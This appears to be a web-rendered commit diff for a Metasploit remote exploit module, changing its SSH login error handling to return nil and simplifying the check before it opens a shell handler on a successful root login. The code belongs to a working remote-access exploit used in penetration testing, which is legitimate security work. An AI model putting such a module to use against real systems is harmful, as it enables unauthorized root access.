Return nil when an error occurred
Avoids anti-pattern of testing for a specific class.unstable
parent
a2aaca5e85
commit
1138290a64
|
@ -94,17 +94,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
|
||||
end
|
||||
rescue Rex::ConnectionError, Rex::AddressInUse
|
||||
return :connection_error
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
|
||||
return :connection_disconnect
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
||||
return :connection_disconnect
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{rhost}:#{rport} SSH - Failed authentication"
|
||||
rescue Net::SSH::Exception => e
|
||||
return [:fail,nil] # For whatever reason.
|
||||
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh_socket
|
||||
|
@ -121,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
conn = do_login("root")
|
||||
if conn.class == Net::SSH::CommandStream
|
||||
if conn
|
||||
print_good "Successful login"
|
||||
handler(conn.lsock)
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue